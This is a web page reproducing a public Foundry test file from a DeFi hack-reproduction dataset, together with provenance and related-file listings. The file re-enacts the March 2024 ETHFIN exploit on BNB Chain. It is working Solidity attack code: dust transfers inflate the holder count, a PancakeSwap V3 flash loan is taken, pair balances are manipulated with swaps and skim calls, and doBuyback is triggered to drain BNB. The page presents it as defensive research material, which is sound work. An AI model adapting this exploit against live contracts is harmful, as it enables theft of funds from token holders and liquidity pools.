Public reproduction file
src/test/2024-03/ETHFIN_exp.sol
Public reproduction file for dataset entry ETHFIN.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "forge-std/Test.sol";6import "./../interface.sol";8// @KeyInfo - Total Lost : ~$1.24K (2.13 BNB)9// Attacker : https://bscscan.com/address/0x52e38d496f8d712394d5ed55e4d4cdd21f1957de10// Attack Contract : https://bscscan.com/address/0x11bfd986299bb0d5666536e361f312198e88264211// Vulnerable Contract : https://bscscan.com/address/0x17bd2e09fa4585c15749f40bb32a6e3db58522ba12// Attack Tx : https://bscscan.com/tx/0xfe031685d84f3bae1785f5b2bd0ed480b87815c3f23ce6ced73b8573b7e367c614// @Info15// Vulnerable Contract Code : https://bscscan.com/address/0x17bd2e09fa4585c15749f40bb32a6e3db58522ba#code17// @Analysis18// Post-mortem :19// Twitter Guy :20// Hacking God :21pragma solidity ^0.8.0;23interface IETHFIN {24 function N_holders() external view returns (uint256);25 function NextBuybackMemberCount() external view returns (uint256);26 function transfer(address, uint256) external;27}29interface IPancakePool {30 function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;31}33interface IETHFINToken {34 function doBuyback() external returns (bool);35}37contract ETHFIN is BaseTestWithBalanceLog {38 address wbnbAddress = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;39 IWBNB wbnb = IWBNB(payable(wbnbAddress));41 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);43 address router_address = 0x10ED43C718714eb63d5aA57B78B54704E256024E;44 Uni_Router_V2 router = Uni_Router_V2(payable(router_address));46 address ethfin = 0x17Bd2E09fA4585c15749F40bb32a6e3dB58522bA;47 IERC20 ethfinToken = IERC20(ethfin);49 address pancakeV3Pool = 0x172fcD41E0913e95784454622d1c3724f546f849;51 address eftoken = 0xA964a6dab034A4b5985603f7e86a596c7e0eA96e;52 IERC20 ef_token = IERC20(eftoken);54 address pancakeSwap = 0x2b73Ee230dB9d7ddB51B859a3B59Ce48eB5aB4D9; //ethfin-finsimp55 address pancakeSwap2 = 0x168FDb7C2d4249485836595c8576D8f2D7c53a46; //ethfin-ethfin56 address pancakeSwap3 = 0x3544DA62afB297b5cE9DA14845C89b96D376D98C; //ethfin-wbnb58 function setUp() external {59 cheats.createSelectFork("bsc", 37_400_485 - 1);60 deal(address(ethfinToken), address(this), 1500); // initial tokens61 }63 function testExploit() external {64 uint256 init = address(this).balance;65 uint256 holders = IETHFIN(ethfin).N_holders();66 uint256 next_buy_back_member = IETHFIN(ethfin).NextBuybackMemberCount();67 uint160 base = 501;68 // weird loop69 while (holders <= next_buy_back_member) {70 IETHFIN(ethfin).transfer(address(base), 1);71 holders = IETHFIN(ethfin).N_holders();72 base++;73 }74 IPancakePool(pancakeV3Pool).flash(75 address(this),76 0,77 12_000_000_000_000_000_000,78 abi.encode(0x000000000000000000000000172fcd41e0913e95784454622d1c3724f546f849)79 );80 uint256 after_attack = address(this).balance;81 emit log_named_decimal_uint("Attacker BNB end exploited", after_attack - init, 18);82 }84 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {85 wbnb.approve(router_address, type(uint256).max);86 address[] memory path = new address[](2);87 path[0] = wbnbAddress;88 path[1] = eftoken;89 uint256[] memory amounts = router.swapTokensForExactTokens(90 543_357_312_592_081_354_942_659_827, 12_000_000_000_000_000_000, path, pancakeSwap, block.timestamp + 12091 );92 IPancakePair(pancakeSwap).skim(eftoken);94 uint256[] memory amounts2 = router.swapTokensForExactTokens(95 10, wbnb.balanceOf(address(this)), path, pancakeSwap2, block.timestamp + 12096 );97 path[1] = ethfin;98 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(99 wbnb.balanceOf(address(this)) - 1000, 0, path, pancakeSwap2, block.timestamp + 120100 );101 IPancakePair(pancakeSwap2).skim(address(this));103 bool status = IETHFINToken(ethfin).doBuyback();104 require(status, "Buyback failed");106 path[1] = eftoken;107 uint256[] memory amounts3 = router.swapTokensForExactTokens(108 10, wbnb.balanceOf(address(this)), path, pancakeSwap2, block.timestamp + 120109 );110 uint256 ethfin_balance = ethfinToken.balanceOf(address(this));111 IERC20(ethfin).transfer(pancakeSwap2, ethfin_balance);112 IPancakePair(pancakeSwap2).skim(pancakeSwap3);114 address[] memory path2 = new address[](2);115 path2[0] = ethfin;116 path2[1] = wbnbAddress;117 uint256[] memory amounts_out = router.getAmountsOut(ethfin_balance, path2);118 IPancakePair(pancakeSwap3).swap(0, amounts_out[1], address(this), "");120 wbnb.transfer(pancakeV3Pool, 12_001_200_000_000_000_000);121 wbnb.withdraw(wbnb.balanceOf(address(this)));122 }124 fallback() external payable {}125}Analysis
Dataset entry
Public Foundry test for “ETHFIN” (2024-03-29). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
19 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-03/ALP_exp.solSame month in the dataset · 84 lines
- src/test/2024-03/ARK_exp.solSame month in the dataset · 52 lines
- src/test/2024-03/BBT_exp.solSame month in the dataset · 140 lines
- src/test/2024-03/Binemon_exp.solSame month in the dataset · 80 lines
- src/test/2024-03/CGT_exp.solSame month in the dataset · 272 lines
- src/test/2024-03/GHT_exp.solSame month in the dataset · 62 lines
- src/test/2024-03/IT_exp.solSame month in the dataset · 139 lines
- src/test/2024-03/Juice_exp.solSame month in the dataset · 76 lines
- src/test/2024-03/LavaLending_exp.solSame month in the dataset · 347 lines
- src/test/2024-03/MO_exp.solSame month in the dataset · 94 lines
- src/test/2024-03/Paraswap_exp.solSame month in the dataset · 75 lines
- src/test/2024-03/Prisma_exp.solSame month in the dataset · 216 lines
- src/test/2024-03/SSS_exp.solSame month in the dataset · 90 lines
- src/test/2024-03/TGBS_exp.solSame month in the dataset · 90 lines
- src/test/2024-03/UnizenIO_exp.solSame month in the dataset · 43 lines
- src/test/2024-03/Woofi_exp.solSame month in the dataset · 185 lines
- src/test/2024-03/ZongZi_exp.solSame month in the dataset · 116 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x52e38d496f8d712394d5ed55e4d4cdd21f1957de
- Attack Contract
0x11bfd986299bb0d5666536e361f312198e882642
- Vulnerable Contract
0x17bd2e09fa4585c15749f40bb32a6e3db58522ba
- Attack Tx
0xfe031685d84f3bae1785f5b2bd0ed480b87815c3f23ce6ced73b8573b7e367c6
- Explorer: https://bscscan.com/address/0x52e38d496f8d712394d5ed55e4d4cdd21f1957de
- Explorer: https://bscscan.com/address/0x11bfd986299bb0d5666536e361f312198e882642
- Explorer: https://bscscan.com/address/0x17bd2e09fa4585c15749f40bb32a6e3db58522ba
- Explorer: https://bscscan.com/address/0x17bd2e09fa4585c15749f40bb32a6e3db58522ba#code
File record
- Name
- ETHFIN
- Path
- src/test/2024-03/ETHFIN_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 5b63619a9e43874f5a9ed3f1ac63256553f475bd
- Language
- Solidity
- Size
- 126 lines
- Date
- 2024-03-29
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-03/ETHFIN_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5b63619a9e43874f5a9ed3f1ac63256553f475bd, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.